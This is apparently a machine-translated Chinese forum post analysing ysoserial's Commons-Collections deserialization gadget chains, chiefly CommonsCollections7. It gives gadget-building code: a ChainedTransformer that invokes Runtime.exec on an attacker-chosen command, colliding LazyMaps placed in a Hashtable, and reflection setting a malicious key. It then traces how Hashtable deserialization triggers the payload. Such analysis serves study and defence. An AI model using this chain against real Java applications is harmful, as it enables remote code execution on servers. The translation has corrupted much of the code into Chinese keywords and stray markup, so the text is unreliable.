入到HashMap中的关键值中.HashMap的关键属性存储在HashMap的$节点类型的HashMap的＃表中属性
构造反射链获取键属性。

Field f = HashSet.class.getDeclaredField("map"); 

Reflections.setAccessible(f); 

HashMap innimpl = (HashMap) f.get(map); 

Field f2 = HashMap.class.getDeclaredField("table"); 

Reflections.setAccessible(f2); 

Object[] 数组 = (Object[]) f2.get(innimpl); 

对象节点=数组[0]；

if(node == null){ 

 node = array[1]; 

}

字段关键字段= node.getClass（）getDeclaredField（ “钥匙”）。

Reflections.setAccessible(keyField); 

keyField.set(node, entry);
复制代码

通过反射出HashMap中的键恶意绑定MapEntry对象提交给关键属性中。至利用链构造完成。

CommonsCollections7

CommonsCollections7的水槽链使用的是InvokerTransformer反射接口利用ChainedTransformer电池产品
组InvokerTransformer反射和Constanter，获取恶意的运行系统。 key)方法公共触发恶意代码的执行。

final String[] execArgs = new String[]{command}; 

最终变压器transformerChain = new ChainedTransformer(new Transformer[]{}); 

final Transformer[] transformers = new Transformer[]{ 

 new ConstantTransformer(Runtime.class), 

 new InvokerTransformer("getMethod", 

 new Class[]{String.class, Class[].class}, 

 new Object[]{"getRuntime" , new Class[0]}), 

 new InvokerTransformer("invoke", 

 new Class[]{Object.class, Object[].class}, 

 new Object[]{null, new Object[0]}), 

 new InvokerTransformer( "exec", 

 new Class[]{String.class}, 

 execArgs), 

 new ConstantTransformer(1)}; 

映射innerMap1 = new HashMap();

映射innerMap2 = new HashMap(); 

// 创建两个具有碰撞哈希值的 LazyMap，以便

在 readObject 

Map期间强制元素比较lazyMap1 = LazyMap.decorate(innerMap1,transformerChain); 

lazyMap1.put("yy", 1); 

Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain); 

lazyMap2.put("zZ", 1);
复制代码

CommonsCollections7的sink点与之前的CC链的不同点在于。CommonsCollections7实例化的LazyMap对象
。CommonsCollections7的源点选择Hashtable，具体的小工具代码如下：

Hashtable hashtable = new Hashtable(); 

hashtable.put(lazyMap1, 1); 

hashtable.put(lazyMap2, 2); 

Reflections.setFieldValue(transformerChain, "iTransformers", 变压器); 

// 需要确保先前操作

后哈希冲突lazyMap2.remove("yy"); 

返回哈希表；
复制代码

Gadget中调用了渲染Hashtable#put方法将两个LazyMap对象动态了Hashtable中
最终调用remove清空lazyMap2中的yy元素。
当前存在两个问题：
1.为什么需要实例化表面LazyMap2
.为什么需要调用remove清空lazyMap2中yy元素解决了
这之前的问题，需要查一下反序列化流程。

private void readObject(java.io.ObjectInputStream s) 

 throws IOException, ClassNotFoundException 

{ 

 // 读入长度、阈值和负载

 因子 s.defaultReadObject(); 

 // 读取数组的原始长度和元素个数

 int origlength = s.readInt(); 

 int 元素 = s.readInt(); 

 // 计算新的大小，有 5% 的增长空间，但

 // 不大于原始大小。

 如果长度足够大，则将长度设为奇数，这有助于分发条目。

 // 防止长度为零，这是无效的。

 int length = (int)(elements * loadFactor) + (elements / 20) + 3; 

 如果（长度>元素&&（长度& 1）== 0）

 长度 - ; 

 if (origlength > 0 && length > origlength) 

 length = origlength; 

 table = new Entry<?,?>[length]; 

 阈值 = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); 

 计数 = 0; 

 // 读取元素的数量，然后读取所有的键/值对象

 for (; elements > 0; elements--) { 

 @SuppressWarnings("unchecked") 

 K key = (K)s.readObject(); 

 @SuppressWarnings("unchecked") 

 V value = (V)s.readObject(); 

 // 同步可以消除性能

 重构Put(table, key, value); 

 } 

}
复制代码

在readObject方法中会根据Hashtable的元素个数确定调用reconstitutionPut(table, key,
value)的方法次数，跟进reconstitutionPut方法。

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) 

 throws StreamCorruptedException 

{ 

 if (value == null) { 

 throw new java.io.StreamCorruptedException(); 

 } 

 // 确保键不在哈希表中。

 // 这不应该发生在反序列化版本中。

 int hash = key.hashCode(); 

 int index = (hash & 0x7FFFFFFF) % tab.length; 

 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { 

 if ((e.hash == hash) && e.key.equals(key)) { 

 throw new java.io.StreamCorruptedException(); 

 } 

 } 

 // 创建新条目。

 @SuppressWarnings("未选中")

 Entry<K,V> e = (Entry<K,V>)tab[index]; 

 tab[index] = new Entry<>(hash, key, value, e); 

 计数++；

}
复制代码

在reconstitutionPut方法中会调用e.key.equals(key)方法。方法之前的CommonsCollections利用链的经验
需要在入口类通过各种方法的调用，因此调用到LazyMap#get，CommonsCollections7的小工具构造思路
也如此，小工具作者通过调用equals方法，方法入口类和LazyMap。
由于在序列化对象构造时，将LazyMap对象作为Hashtable的key值到Hashtable的元素中
因此在调用e.key.equals(key)方法时，实质是调用LazyMap#equals方法。

/i] [/i ][/一世]
i]
LazyMap继承于AbstractMapDecorator抽象类，从而调用AbstractMapDecorator#equals方法。
[/i ] public boolean equals(Object o object ) { if (object == this) { return tru乙；} return map.equals(object); } 其中的map对象则是在调用LazyMap.decorate方法时鼠标的HashMap

映射innerMap1 = new HashMap(); 

映射innerMap2 = new HashMap(); 

// 创建两个具有碰撞哈希值的 LazyMap，以便在 readObject 

Map期间强制元素比较lazyMap1 = LazyMap.decorate(innerMap1,transformerChain); 

lazyMap1.put("yy", 1); 

Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain); 

lazyMap2.put("zZ", 1); 

```[/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i] 

[i] [i][i][i][i][i][i][i][i][i][i]

因此最终调用HashMap继承的抽象类AbstractMap中的equals方法[/i][/i ][/i][/i][/i][/i][/i][/i][/i][/i][/i] 

[i][i][i][i][ i][i][i][i][i][i][i]
复制代码

public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))

 返回 false；

地图<?,?> m = (地图<?,?>) o; 

如果 (m.size() != size())

 返回 false；

尝试 { 

 Iterator<Entry<K,V>> i = entrySet().iterator(); 

 while (i.hasNext()) { 

 Entry<K,V> e = i.next(); 

 K 键 = e.getKey(); 

 V 值 = e.getValue(); 

 if (value == null) { 

 if (!(m.get(key)==null && m.containsKey(key))) 

 return false; 

 } else { 

 if (!value.equals(m.get(key))) 

 return false; 

 } 

 } 

} catch (ClassCastException 未使用) { 

 return false;

} catch (NullPointerException 未使用) { 

 return false; 

}

返回true;
复制代码

}
```
[i ] ]
并在AbstractMap#equals方法汇总方法调用目标对象的get。这里重点查一下如何将LazyMap对象作为目标逆推的根据
上述调用流程，可以看到AbtractMap#equals(o)目标参数ø方法是对象重构方法中调用e.key.equals（键）传入中的关键值
在这里可以解答上述提到的两个问题。
由于在哈希表反序列化调用reconstitutionPut方法时，会判断标签数组中是否存在元素
如果存在。则进入循环中调用e.key .equals(key)方法。

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { 

 if ((e.hash == hash) && e.key.equals(key)) {
复制代码

只有在调用第一次重构放之后，将第一个哈希表中的元素吸附方法到标签中数组在进行第二次调用时
才会使标签数组非空，从而能够正常调用e.key.equals（键）方法
[/I][/I][/I][/I][/I][/I][/I][/I][/I][/I][/I]

而调用场景需要Put方法的前提是两个Hashtable中存在元素

for (; 元素 > 0; 元素--) { 

 @SuppressWarnings("unchecked") 

 K key = (K)s.readObject(); 

 @SuppressWarnings("unchecked") 

 V value = (V)s.readObject(); 

 // 同步可以消除性能

 重构Put(table, key, value); 

}
复制代码

并且为了保证e.key.equals()方法中e.key是LazyMap 且完成LazyMap对象的参数也需要是zyMap对象
因此需要实例化LazyMap对象，在Hashtable中进行key比较时，LazyMap的整理用完成完成利用链的构造。
调用remove清lazyMap2中的y元素，是为了保持两个LazyMap中的元素个数保持相同，因为在AbstractMap#
等于中存在LazyMap元素个数比较的判断条件

如果元素个数不同将直接返回假去调用照片的得到请求。导致利用链失效。

		自动登录	找回密码
密码			注册

[网络安全] Ysoserial Commons-Collections 利用链分析

浏览过的版块